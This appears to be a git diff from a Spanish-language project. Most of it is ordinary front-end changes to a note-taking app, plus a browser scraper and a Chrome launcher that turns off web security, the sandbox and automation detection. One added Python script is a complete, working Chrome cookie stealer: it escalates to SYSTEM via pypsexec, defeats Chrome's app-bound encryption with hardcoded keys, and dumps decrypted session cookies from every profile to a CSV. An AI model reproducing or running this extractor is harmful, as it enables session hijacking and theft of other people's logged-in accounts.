setModalNuevaBiblio(false);
|
|
||||||
|
|
||||||
// 🔄 Refresca la lista de bibliotecas
|
|
||||||
await fetchBibliotecas();
|
|
||||||
} catch (error) {
|
|
||||||
console.error('❌ Error al crear biblioteca:', error);
|
|
||||||
} finally {
|
|
||||||
setLoadingNuevaBiblio(false); // ✅ Apaga el loader
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
const agregarNota = async () => {
|
|
||||||
if (!bibliotecaSeleccionada) return;
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
await axios.post(`/api/v1/text_manager/nota/${bibliotecaSeleccionada.id}`, {
|
await axios.post('/api/v1/text_manager/biblioteca', {
|
||||||
titulo: tituloNota,
|
nombre_biblioteca: nombreBiblio,
|
||||||
texto: contenidoNota,
|
descripcion: descripcionBiblio,
|
||||||
tags: [],
|
|
||||||
conexiones: [],
|
|
||||||
resumen: '',
|
|
||||||
});
|
});
|
||||||
|
setNombreBiblio('');
|
||||||
setLoadingNotas(true);
|
setDescripcionBiblio('');
|
||||||
const nuevasNotas = await axios.get(`/api/v1/text_manager/nota/list/${bibliotecaSeleccionada.id}`);
|
setModalNuevaBiblio(false);
|
||||||
const nuevasBibliotecas = bibliotecas.map((b) =>
|
await fetchBibliotecas();
|
||||||
b.id === bibliotecaSeleccionada.id ? { ...b, notas: nuevasNotas.data as Nota[] } : b
|
|
||||||
);
|
|
||||||
setBibliotecas(nuevasBibliotecas);
|
|
||||||
setBibliotecaSeleccionada(nuevasBibliotecas.find((b) => b.id === bibliotecaSeleccionada.id) || null);
|
|
||||||
setTituloNota('');
|
|
||||||
setContenidoNota('');
|
|
||||||
setModalAbierto(false);
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('Error al agregar nota:', error);
|
console.error('❌ Error al crear biblioteca:', error);
|
||||||
} finally {
|
} finally {
|
||||||
setLoadingNotas(false);
|
setLoadingNuevaBiblio(false);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
fetchBibliotecas();
|
|
||||||
}, []);
|
|
||||||
|
|
||||||
// Eliminar nota
|
|
||||||
const eliminarNota = async (notaId: string) => {
|
|
||||||
if (!bibliotecaSeleccionada) return;
|
|
||||||
try {
|
|
||||||
await axios.delete(`/api/v1/text_manager/nota/${bibliotecaSeleccionada.id}/${notaId}`);
|
|
||||||
|
|
||||||
// Solo actualiza la biblioteca actual
|
|
||||||
const nuevasNotas = await axios.get(`/api/v1/text_manager/nota/list/${bibliotecaSeleccionada.id}`);
|
|
||||||
const nuevasBibliotecas = bibliotecas.map((b) =>
|
|
||||||
b.id === bibliotecaSeleccionada.id ? { ...b, notas: nuevasNotas.data as Nota[] } : b
|
|
||||||
);
|
|
||||||
setBibliotecas(nuevasBibliotecas);
|
|
||||||
setBibliotecaSeleccionada(nuevasBibliotecas.find(b => b.id === bibliotecaSeleccionada.id) || null);
|
|
||||||
} catch (error) {
|
|
||||||
console.error("Error al eliminar nota:", error);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// Editar nota
|
|
||||||
const abrirModalEditar = (nota: Nota) => {
|
|
||||||
setNotaEnEdicion(nota);
|
|
||||||
setModalEditarAbierto(true);
|
|
||||||
};
|
|
||||||
|
|
||||||
// Guardar cambios de edición
|
|
||||||
const guardarEdicionNota = async () => {
|
const guardarEdicionNota = async () => {
|
||||||
if (!notaEnEdicion || !bibliotecaSeleccionada) return;
|
if (!notaSeleccionada || !bibliotecaSeleccionada) return;
|
||||||
try {
|
try {
|
||||||
await axios.put(`/api/v1/text_manager/nota/${bibliotecaSeleccionada.id}/${notaEnEdicion.id}`, {
|
await axios.put(`/api/v1/text_manager/nota/${bibliotecaSeleccionada.id}/${notaSeleccionada.id}`, {
|
||||||
titulo: notaEnEdicion.titulo,
|
titulo: notaSeleccionada.titulo,
|
||||||
texto: notaEnEdicion.texto,
|
texto: notaSeleccionada.texto,
|
||||||
tags: [],
|
tags: [],
|
||||||
conexiones: [],
|
conexiones: [],
|
||||||
resumen: ""
|
resumen: ""
|
||||||
});
|
});
|
||||||
setModalEditarAbierto(false);
|
|
||||||
setNotaEnEdicion(null);
|
|
||||||
await fetchBibliotecas();
|
await fetchBibliotecas();
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error("Error al actualizar nota:", error);
|
console.error("Error al actualizar nota:", error);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const eliminarNota = async (notaId: string) => {
|
||||||
|
if (!bibliotecaSeleccionada) return;
|
||||||
|
try {
|
||||||
|
await axios.delete(`/api/v1/text_manager/nota/${bibliotecaSeleccionada.id}/${notaId}`);
|
||||||
|
await fetchBibliotecas();
|
||||||
|
setNotaSeleccionada(null);
|
||||||
|
} catch (error) {
|
||||||
|
console.error("Error al eliminar nota:", error);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<AppShellWithMenu>
|
<AppShellWithMenu>
|
||||||
<Box display="flex" h="100%">
|
<Box display="flex" h="100%" style={{ overflow: 'hidden' }}>
|
||||||
<Box w={240} p="md">
|
<Box w={240} p="md">
|
||||||
<ScrollArea h="100%">
|
<ScrollArea h="100%">
|
||||||
<Stack>
|
<Stack gap="md">
|
||||||
<Button color="teal" onClick={fetchBibliotecas}>🔄 Recuperar bibliotecas</Button>
|
<Button color="teal" onClick={fetchBibliotecas}>🔄 Recuperar bibliotecas</Button>
|
||||||
<Button color="grape" variant="outline" onClick={() => setModalNuevaBiblio(true)}>➕ Nueva biblioteca</Button>
|
<Button color="grape" variant="outline" onClick={() => setModalNuevaBiblio(true)}>➕ Nueva biblioteca</Button>
|
||||||
|
|
||||||
|
|
||||||
{bibliotecas.map((biblio) => (
|
{bibliotecas.map((biblio) => (
|
||||||
<Button
|
<Button
|
||||||
key={biblio.id}
|
key={biblio.id}
|
||||||
@@ -188,7 +170,10 @@ const crearBiblioteca = async () => {
|
|||||||
fullWidth
|
fullWidth
|
||||||
variant={biblio.id === bibliotecaSeleccionada?.id ? 'filled' : 'light'}
|
variant={biblio.id === bibliotecaSeleccionada?.id ? 'filled' : 'light'}
|
||||||
color="blue"
|
color="blue"
|
||||||
onClick={() => setBibliotecaSeleccionada(biblio)}
|
onClick={() => {
|
||||||
|
setBibliotecaSeleccionada(biblio);
|
||||||
|
setNotaSeleccionada(null);
|
||||||
|
}}
|
||||||
>
|
>
|
||||||
{biblio.nombre}
|
{biblio.nombre}
|
||||||
</Button>
|
</Button>
|
||||||
@@ -197,131 +182,97 @@ const crearBiblioteca = async () => {
|
|||||||
</ScrollArea>
|
</ScrollArea>
|
||||||
</Box>
|
</Box>
|
||||||
|
|
||||||
<Box p="md" style={{ flex: 1 }}>
|
<Box w={240} p="md">
|
||||||
{bibliotecaSeleccionada ? (
|
<ScrollArea h="100%">
|
||||||
<Stack>
|
<Stack gap="md">
|
||||||
<Title order={2}>{bibliotecaSeleccionada.nombre}</Title>
|
<Title order={4}>Notas</Title>
|
||||||
<Group>
|
<Button
|
||||||
<Button onClick={() => setModalAbierto(true)}>Agregar nota</Button>
|
color="green"
|
||||||
</Group>
|
variant="outline"
|
||||||
<Group>
|
fullWidth
|
||||||
{loadingNotas ? (
|
onClick={async () => {
|
||||||
<Loader />
|
if (!bibliotecaSeleccionada) return;
|
||||||
) : (
|
try {
|
||||||
bibliotecaSeleccionada.notas.map((nota) => (
|
const res = await axios.post(`/api/v1/text_manager/nota/${bibliotecaSeleccionada.id}`, {
|
||||||
|
titulo: 'Nueva nota',
|
||||||
|
texto: '',
|
||||||
|
tags: [],
|
||||||
|
conexiones: [],
|
||||||
|
resumen: ''
|
||||||
|
});
|
||||||
|
const nuevaNota: Nota = res.data;
|
||||||
|
await fetchBibliotecas();
|
||||||
|
setNotaSeleccionada(nuevaNota);
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Error al crear nota:', error);
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
➕ Nueva nota
|
||||||
|
</Button>
|
||||||
|
{bibliotecaSeleccionada?.notas.map((nota) => (
|
||||||
|
<Button
|
||||||
|
key={nota.id}
|
||||||
|
fullWidth
|
||||||
|
variant={notaSeleccionada?.id === nota.id ? 'filled' : 'light'}
|
||||||
|
color="gray"
|
||||||
|
onClick={() => setNotaSeleccionada(nota)}
|
||||||
|
>
|
||||||
|
{nota.titulo}
|
||||||
|
</Button>
|
||||||
|
))}
|
||||||
|
</Stack>
|
||||||
|
</ScrollArea>
|
||||||
|
</Box>
|
||||||
|
|
||||||
// Cards de notas
|
<Box p="md" style={{ flex: 1, overflow: 'hidden', minWidth: 0 }}>
|
||||||
|
{notaSeleccionada ? (
|
||||||
<Card
|
<Stack gap="sm">
|
||||||
key={nota.id}
|
<TextInput
|
||||||
shadow="sm"
|
label="Título"
|
||||||
padding="lg"
|
size="lg"
|
||||||
radius="md"
|
styles={{ input: { fontSize: 20, fontWeight: 600 } }}
|
||||||
withBorder
|
value={notaSeleccionada.titulo}
|
||||||
style={{
|
onChange={(e) =>
|
||||||
width: 300,
|
setNotaSeleccionada((prev) => prev ? { ...prev, titulo: e.currentTarget.value } : null)
|
||||||
height: 250, // Altura fija para asegurar la separación
|
}
|
||||||
display: 'flex',
|
/>
|
||||||
flexDirection: 'column',
|
{editor && !editor.isDestroyed && (
|
||||||
justifyContent: 'space-between',
|
<RichTextEditor
|
||||||
}}
|
editor={editor}
|
||||||
>
|
miw={0}
|
||||||
<div>
|
style={{ fontSize: 14, minHeight: 200 }}
|
||||||
<Title order={4} style={{ marginBottom: 10 }}>{nota.titulo}</Title>
|
classNames={{ content: 'tiptap' }}
|
||||||
<Text>{nota.texto}</Text>
|
>
|
||||||
</div>
|
<RichTextEditor.Toolbar sticky stickyOffset={0}>
|
||||||
|
<RichTextEditor.ControlsGroup>
|
||||||
<Box mt="md" style={{ display: 'flex', justifyContent: 'flex-end' }}>
|
<RichTextEditor.Bold />
|
||||||
<Button
|
<RichTextEditor.Italic />
|
||||||
size="xs"
|
<RichTextEditor.Strikethrough />
|
||||||
variant="light"
|
<RichTextEditor.ClearFormatting />
|
||||||
color="blue"
|
<RichTextEditor.H1 />
|
||||||
onClick={() => abrirModalEditar(nota)}
|
<RichTextEditor.H2 />
|
||||||
>
|
<RichTextEditor.Blockquote />
|
||||||
Editar
|
<RichTextEditor.CodeBlock />
|
||||||
</Button>
|
</RichTextEditor.ControlsGroup>
|
||||||
</Box>
|
</RichTextEditor.Toolbar>
|
||||||
</Card>
|
{/* tabIndex removido */}
|
||||||
|
<RichTextEditor.Content className="tiptap" />
|
||||||
// Fin de notas en cards
|
</RichTextEditor>
|
||||||
|
)}
|
||||||
))
|
<Group mt="sm">
|
||||||
)}
|
<Button color="blue" onClick={guardarEdicionNota}>💾 Guardar</Button>
|
||||||
|
<Button color="red" onClick={() => eliminarNota(notaSeleccionada.id)}>🗑️ Eliminar</Button>
|
||||||
</Group>
|
</Group>
|
||||||
</Stack>
|
</Stack>
|
||||||
) : (
|
) : (
|
||||||
<Stack>
|
<Text>Selecciona una nota para editar</Text>
|
||||||
<Text>Selecciona una biblioteca</Text>
|
|
||||||
|
|
||||||
</Stack>
|
|
||||||
)}
|
)}
|
||||||
</Box>
|
</Box>
|
||||||
</Box>
|
</Box>
|
||||||
|
|
||||||
{/* Modal para agregar */}
|
<Modal opened={modalNuevaBiblio} onClose={() => setModalNuevaBiblio(false)} title="Crear nueva biblioteca">
|
||||||
<Modal opened={modalAbierto} onClose={() => setModalAbierto(false)} title="Agregar nueva nota">
|
<Stack gap="md">
|
||||||
<Stack>
|
|
||||||
<TextInput
|
|
||||||
label="Título"
|
|
||||||
value={tituloNota}
|
|
||||||
onChange={(event) => setTituloNota(event.currentTarget.value)}
|
|
||||||
/>
|
|
||||||
<Textarea
|
|
||||||
label="Contenido"
|
|
||||||
minRows={6}
|
|
||||||
autosize
|
|
||||||
value={contenidoNota}
|
|
||||||
onChange={(event) => setContenidoNota(event.currentTarget.value)}
|
|
||||||
/>
|
|
||||||
<Button onClick={agregarNota}>Guardar</Button>
|
|
||||||
</Stack>
|
|
||||||
</Modal>
|
|
||||||
|
|
||||||
{/* Modal para editar */}
|
|
||||||
<Modal opened={modalEditarAbierto} onClose={() => setModalEditarAbierto(false)} title="Editar nota">
|
|
||||||
<Stack>
|
|
||||||
<TextInput
|
|
||||||
label="Título"
|
|
||||||
value={notaEnEdicion?.titulo || ""}
|
|
||||||
onChange={(e) =>
|
|
||||||
setNotaEnEdicion((prev) => (prev ? { ...prev, titulo: e.currentTarget.value } : null))
|
|
||||||
}
|
|
||||||
/>
|
|
||||||
<Textarea
|
|
||||||
label="Contenido"
|
|
||||||
minRows={6}
|
|
||||||
autosize
|
|
||||||
value={notaEnEdicion?.texto || ""}
|
|
||||||
onChange={(e) =>
|
|
||||||
setNotaEnEdicion((prev) => (prev ? { ...prev, texto: e.currentTarget.value } : null))
|
|
||||||
}
|
|
||||||
/>
|
|
||||||
<Group grow>
|
|
||||||
<Button color="blue" onClick={guardarEdicionNota}>
|
|
||||||
💾 Guardar cambios
|
|
||||||
</Button>
|
|
||||||
<Button
|
|
||||||
color="red"
|
|
||||||
onClick={async () => {
|
|
||||||
if (!notaEnEdicion || !bibliotecaSeleccionada) return;
|
|
||||||
await eliminarNota(notaEnEdicion.id);
|
|
||||||
setModalEditarAbierto(false);
|
|
||||||
setNotaEnEdicion(null);
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
🗑️ Eliminar nota
|
|
||||||
</Button>
|
|
||||||
</Group>
|
|
||||||
</Stack>
|
|
||||||
</Modal>
|
|
||||||
|
|
||||||
{/* Modal para crear una biblioteca */}
|
|
||||||
<Modal
|
|
||||||
opened={modalNuevaBiblio}
|
|
||||||
onClose={() => setModalNuevaBiblio(false)}
|
|
||||||
title="Crear nueva biblioteca"
|
|
||||||
>
|
|
||||||
<Stack>
|
|
||||||
<TextInput
|
<TextInput
|
||||||
label="Nombre"
|
label="Nombre"
|
||||||
value={nombreBiblio}
|
value={nombreBiblio}
|
||||||
@@ -334,14 +285,9 @@ const crearBiblioteca = async () => {
|
|||||||
onChange={(e) => setDescripcionBiblio(e.currentTarget.value)}
|
onChange={(e) => setDescripcionBiblio(e.currentTarget.value)}
|
||||||
disabled={loadingNuevaBiblio}
|
disabled={loadingNuevaBiblio}
|
||||||
/>
|
/>
|
||||||
<Button onClick={crearBiblioteca} loading={loadingNuevaBiblio}>
|
<Button onClick={crearBiblioteca} loading={loadingNuevaBiblio}>Crear</Button>
|
||||||
Crear
|
|
||||||
</Button>
|
|
||||||
</Stack>
|
</Stack>
|
||||||
</Modal>
|
</Modal>
|
||||||
|
|
||||||
|
|
||||||
</AppShellWithMenu>
|
</AppShellWithMenu>
|
||||||
);
|
);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,27 @@
|
|||||||
|
import { RichTextEditor } from '@mantine/tiptap';
|
||||||
|
import { useEditor } from '@tiptap/react';
|
||||||
|
import StarterKit from '@tiptap/starter-kit';
|
||||||
|
import '@mantine/tiptap/styles.css';
|
||||||
|
|
||||||
|
export default function EditorTest() {
|
||||||
|
const editor = useEditor({
|
||||||
|
extensions: [StarterKit],
|
||||||
|
content: '<p>Prueba aquí. Presiona ENTER o ESPACIO.</p>',
|
||||||
|
});
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div style={{ padding: 40 }}>
|
||||||
|
{editor && (
|
||||||
|
<RichTextEditor editor={editor}>
|
||||||
|
<RichTextEditor.Toolbar sticky stickyOffset={0}>
|
||||||
|
<RichTextEditor.ControlsGroup>
|
||||||
|
<RichTextEditor.Bold />
|
||||||
|
<RichTextEditor.Italic />
|
||||||
|
</RichTextEditor.ControlsGroup>
|
||||||
|
</RichTextEditor.Toolbar>
|
||||||
|
<RichTextEditor.Content />
|
||||||
|
</RichTextEditor>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -10,7 +10,7 @@ function useChartOption(endpoint: string) {
|
|||||||
const [loading, setLoading] = useState(true);
|
const [loading, setLoading] = useState(true);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
fetch(`/api/${endpoint}`)
|
fetch(`/api/v1/charts/${endpoint}`)
|
||||||
.then((res) => res.json())
|
.then((res) => res.json())
|
||||||
.then((json) => setOption(json))
|
.then((json) => setOption(json))
|
||||||
.catch(console.error)
|
.catch(console.error)
|
||||||
|
|||||||
+1714
-18
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,179 @@
|
|||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import binascii
|
||||||
|
import ctypes
|
||||||
|
import base64
|
||||||
|
import sqlite3
|
||||||
|
import pandas as pd
|
||||||
|
import pathlib
|
||||||
|
from Crypto.Cipher import AES, ChaCha20_Poly1305
|
||||||
|
from pypsexec.client import Client
|
||||||
|
|
||||||
|
"""
|
||||||
|
Este script extrae cookies v20 de Google Chrome y las guarda en un archivo CSV.
|
||||||
|
Requiere privilegios de administrador para acceder a los datos de Chrome.
|
||||||
|
|
||||||
|
Conseguido para poder extraer cookies de Chrome v20, que utiliza un nuevo formato de cifrado.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def is_admin():
|
||||||
|
try:
|
||||||
|
return ctypes.windll.shell32.IsUserAnAdmin() != 0
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def get_app_bound_key(local_state_path):
|
||||||
|
with open(local_state_path, "r", encoding="utf-8") as f:
|
||||||
|
local_state = json.load(f)
|
||||||
|
return local_state["os_crypt"]["app_bound_encrypted_key"]
|
||||||
|
|
||||||
|
|
||||||
|
def decrypt_app_bound_key(encrypted_key_b64):
|
||||||
|
arguments = "-c \"" + """import win32crypt
|
||||||
|
import binascii
|
||||||
|
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
|
||||||
|
print(binascii.b2a_base64(encrypted_key[1]).decode())
|
||||||
|
""".replace("\n", ";") + "\""
|
||||||
|
|
||||||
|
c = Client("localhost")
|
||||||
|
c.connect()
|
||||||
|
|
||||||
|
decrypted_key = None
|
||||||
|
try:
|
||||||
|
c.create_service()
|
||||||
|
|
||||||
|
assert(binascii.a2b_base64(encrypted_key_b64)[:4] == b"APPB")
|
||||||
|
stripped_key_b64 = binascii.b2a_base64(binascii.a2b_base64(encrypted_key_b64)[4:]).decode().strip()
|
||||||
|
|
||||||
|
encrypted_key_b64_sys, _, _ = c.run_executable(
|
||||||
|
sys.executable,
|
||||||
|
arguments=arguments.format(stripped_key_b64),
|
||||||
|
use_system_account=True
|
||||||
|
)
|
||||||
|
|
||||||
|
decrypted_key_b64, _, _ = c.run_executable(
|
||||||
|
sys.executable,
|
||||||
|
arguments=arguments.format(encrypted_key_b64_sys.decode().strip()),
|
||||||
|
use_system_account=False
|
||||||
|
)
|
||||||
|
|
||||||
|
decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:]
|
||||||
|
finally:
|
||||||
|
c.remove_service()
|
||||||
|
c.disconnect()
|
||||||
|
|
||||||
|
return decrypted_key
|
||||||
|
|
||||||
|
|
||||||
|
def decrypt_final_key(encrypted_key):
|
||||||
|
aes_key = bytes.fromhex("B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787")
|
||||||
|
chacha20_key = bytes.fromhex("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660")
|
||||||
|
|
||||||
|
flag = encrypted_key[0]
|
||||||
|
iv = encrypted_key[1:13]
|
||||||
|
ciphertext = encrypted_key[13:45]
|
||||||
|
tag = encrypted_key[45:]
|
||||||
|
|
||||||
|
if flag == 1:
|
||||||
|
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
|
||||||
|
elif flag == 2:
|
||||||
|
cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=iv)
|
||||||
|
else:
|
||||||
|
raise ValueError(f"Unsupported flag: {flag}")
|
||||||
|
|
||||||
|
return cipher.decrypt_and_verify(ciphertext, tag)
|
||||||
|
|
||||||
|
|
||||||
|
def decrypt_cookie_v20(encrypted_value, key):
|
||||||
|
cookie_iv = encrypted_value[3:15]
|
||||||
|
encrypted_cookie = encrypted_value[15:-16]
|
||||||
|
cookie_tag = encrypted_value[-16:]
|
||||||
|
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
|
||||||
|
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
|
||||||
|
return decrypted_cookie[32:].decode('utf-8')
|
||||||
|
|
||||||
|
|
||||||
|
def extract_all_v20_cookies():
|
||||||
|
user_profile = os.environ['USERPROFILE']
|
||||||
|
local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State"
|
||||||
|
base_profile_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data"
|
||||||
|
|
||||||
|
app_bound_key_b64 = get_app_bound_key(local_state_path)
|
||||||
|
decrypted_key_raw = decrypt_app_bound_key(app_bound_key_b64)
|
||||||
|
final_key = decrypt_final_key(decrypted_key_raw)
|
||||||
|
|
||||||
|
perfiles_invalidos = {"System Profile", "Guest Profile", "CrashpadMetrics"}
|
||||||
|
perfiles = [
|
||||||
|
name for name in os.listdir(base_profile_path)
|
||||||
|
if os.path.isdir(os.path.join(base_profile_path, name))
|
||||||
|
and name not in perfiles_invalidos
|
||||||
|
and os.path.exists(os.path.join(base_profile_path, name, "Network", "Cookies"))
|
||||||
|
]
|
||||||
|
|
||||||
|
all_cookies = []
|
||||||
|
|
||||||
|
for profile in perfiles:
|
||||||
|
db_path = os.path.join(base_profile_path, profile, "Network", "Cookies")
|
||||||
|
con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
|
||||||
|
cur = con.cursor()
|
||||||
|
r = cur.execute("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, last_access_utc, CAST(encrypted_value AS BLOB) from cookies;")
|
||||||
|
cookies = cur.fetchall()
|
||||||
|
con.close()
|
||||||
|
|
||||||
|
for row in cookies:
|
||||||
|
host, name, path, is_secure, is_httponly, expires_utc, last_access_utc, encrypted_value = row
|
||||||
|
encrypted_value_b64 = base64.b64encode(encrypted_value).decode()
|
||||||
|
|
||||||
|
if encrypted_value.startswith(b"v20"):
|
||||||
|
try:
|
||||||
|
value = decrypt_cookie_v20(encrypted_value, final_key)
|
||||||
|
print(f"[✓] {host} {name}: {value}")
|
||||||
|
all_cookies.append({
|
||||||
|
"host": host,
|
||||||
|
"name": name,
|
||||||
|
"path": path,
|
||||||
|
"value": value,
|
||||||
|
"encrypted_value_b64": encrypted_value_b64,
|
||||||
|
"expires_utc": expires_utc,
|
||||||
|
"is_secure": is_secure,
|
||||||
|
"is_httponly": is_httponly,
|
||||||
|
"last_access_utc": last_access_utc,
|
||||||
|
"profile": profile,
|
||||||
|
"is_decrypted": True,
|
||||||
|
"decrypt_error": ""
|
||||||
|
})
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[x] Error decrypting {host} {name}: {e}")
|
||||||
|
all_cookies.append({
|
||||||
|
"host": host,
|
||||||
|
"name": name,
|
||||||
|
"path": path,
|
||||||
|
"value": "",
|
||||||
|
"encrypted_value_b64": encrypted_value_b64,
|
||||||
|
"expires_utc": expires_utc,
|
||||||
|
"is_secure": is_secure,
|
||||||
|
"is_httponly": is_httponly,
|
||||||
|
"last_access_utc": last_access_utc,
|
||||||
|
"profile": profile,
|
||||||
|
"is_decrypted": False,
|
||||||
|
"decrypt_error": str(e)
|
||||||
|
})
|
||||||
|
|
||||||
|
return pd.DataFrame(all_cookies)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
if not is_admin():
|
||||||
|
input("Este script necesita ejecutarse como administrador. Presiona Enter para reiniciar con privilegios...")
|
||||||
|
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join([sys.argv[0]] + sys.argv[1:]), None, 1)
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
print("[*] Extrayendo cookies v20 desde todos los perfiles...")
|
||||||
|
df = extract_all_v20_cookies()
|
||||||
|
df.to_csv("cookies_extraidas.csv", index=False, encoding="utf-8")
|
||||||
|
print(f"[✓] Cookies v20 extraídas: {len(df)}")
|
||||||
|
print("[✓] Guardado en 'cookies_extraidas.csv'")
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
import asyncio
|
||||||
|
import os
|
||||||
|
import pyperclip
|
||||||
|
import re
|
||||||
|
from src.ScrappingWeb.Scrapper import Scrapper
|
||||||
|
|
||||||
|
def sanitizar(nombre: str) -> str:
|
||||||
|
return re.sub(r'[\\/*?:"<>|]', "_", nombre).strip()[:100]
|
||||||
|
|
||||||
|
OUTPUT_DIR = "esquemas_json"
|
||||||
|
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||||
|
|
||||||
|
async def main():
|
||||||
|
ws_id = "F51AC05B27E1DEC4011E67369781596C"
|
||||||
|
ws_url = f"ws://127.0.0.1:9222/devtools/page/{ws_id}"
|
||||||
|
scrapper = Scrapper(debugging_url="http://127.0.0.1:9222")
|
||||||
|
|
||||||
|
print("🔌 Conectando a pestaña específica...")
|
||||||
|
|
||||||
|
tab = scrapper.get_tab(ws_url) or scrapper.get_tab(ws_id)
|
||||||
|
if not tab:
|
||||||
|
nuevas_tabs = await scrapper.obtener_tabs_existentes()
|
||||||
|
tab = next((t for t in nuevas_tabs if t.ws_url.rsplit("/", 1)[-1] == ws_id), None)
|
||||||
|
|
||||||
|
if not tab:
|
||||||
|
print("⚠️ La pestaña con ese ID no se encontró.")
|
||||||
|
return
|
||||||
|
|
||||||
|
elementos = await tab.get_elements_by_css_selector(
|
||||||
|
"#_0rif_bq-resource-tree > div.cfctest-tree-main.ng-tns-c3578326070-0 > ul > cfc-virtual-scroller > div > div.item-container > div > li"
|
||||||
|
)
|
||||||
|
|
||||||
|
for i, elemento in enumerate(elementos[:12]):
|
||||||
|
print(f"🖱️ Click #{i + 1}")
|
||||||
|
|
||||||
|
clickeable = await elemento.encontrar_hijo_clickeable()
|
||||||
|
if clickeable:
|
||||||
|
await clickeable.click()
|
||||||
|
else:
|
||||||
|
print(f"⚠️ No se encontró subelemento clickeable en #{i+1}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
await asyncio.sleep(1)
|
||||||
|
|
||||||
|
texto_crudo = await elemento.obtener_texto()
|
||||||
|
nombre_archivo = sanitizar(texto_crudo or f"esquema_item_{i+1}")
|
||||||
|
print(f"📄 Nombre base del archivo: {nombre_archivo}.txt")
|
||||||
|
|
||||||
|
# ✅ Ejecutar JS en el navegador para simular flujo de copia
|
||||||
|
await tab.evaluar_js("""
|
||||||
|
(() => {
|
||||||
|
const boton = document.querySelector('button[id^="_0rif_bqui-table-copy-schema-btn"] span.mdc-button__label > span');
|
||||||
|
if (boton) boton.click();
|
||||||
|
})()
|
||||||
|
""")
|
||||||
|
await asyncio.sleep(1)
|
||||||
|
|
||||||
|
await tab.evaluar_js("""
|
||||||
|
(() => {
|
||||||
|
const overlays = document.querySelectorAll("div.cdk-overlay-pane");
|
||||||
|
for (let overlay of overlays) {
|
||||||
|
const items = overlay.querySelectorAll("cfc-menu-item .cfc-menu-item-label");
|
||||||
|
for (let item of items) {
|
||||||
|
if (item.textContent.includes("Copiar como JSON")) {
|
||||||
|
item.click();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})()
|
||||||
|
""")
|
||||||
|
await asyncio.sleep(1.5)
|
||||||
|
|
||||||
|
try:
|
||||||
|
texto_json = pyperclip.paste()
|
||||||
|
file_path = os.path.join(OUTPUT_DIR, f"{nombre_archivo}.txt")
|
||||||
|
with open(file_path, "w", encoding="utf-8") as f:
|
||||||
|
f.write(texto_json)
|
||||||
|
print(f"✅ Guardado: {file_path}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"❌ Error al leer el portapapeles o guardar archivo: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
asyncio.run(main())
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
import subprocess
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
import signal
|
||||||
|
|
||||||
|
def iniciar_chrome(chrome_path,
|
||||||
|
user_data_dir,
|
||||||
|
headless=False,
|
||||||
|
debugging_port=9222,
|
||||||
|
user_agent=None,
|
||||||
|
):
|
||||||
|
|
||||||
|
# Asegúrate de que el directorio del perfil exista
|
||||||
|
os.makedirs(user_data_dir, exist_ok=True)
|
||||||
|
|
||||||
|
# Lista de argumentos para Chrome
|
||||||
|
chrome_args = [
|
||||||
|
f"--remote-debugging-port={debugging_port}",
|
||||||
|
f"--user-data-dir={user_data_dir}",
|
||||||
|
"--disable-blink-features=AutomationControlled",
|
||||||
|
"--no-sandbox",
|
||||||
|
"--disable-web-security",
|
||||||
|
"--disable-extensions",
|
||||||
|
"--disable-dev-shm-usage",
|
||||||
|
"--disable-infobars",
|
||||||
|
"--disable-popup-blocking",
|
||||||
|
"--disable-default-apps",
|
||||||
|
"--mute-audio",
|
||||||
|
"--window-size=1024,1024",
|
||||||
|
|
||||||
|
]
|
||||||
|
|
||||||
|
if not headless:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
chrome_args.append("--headless=new") # para versiones recientes de Chrome
|
||||||
|
|
||||||
|
if not user_agent:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
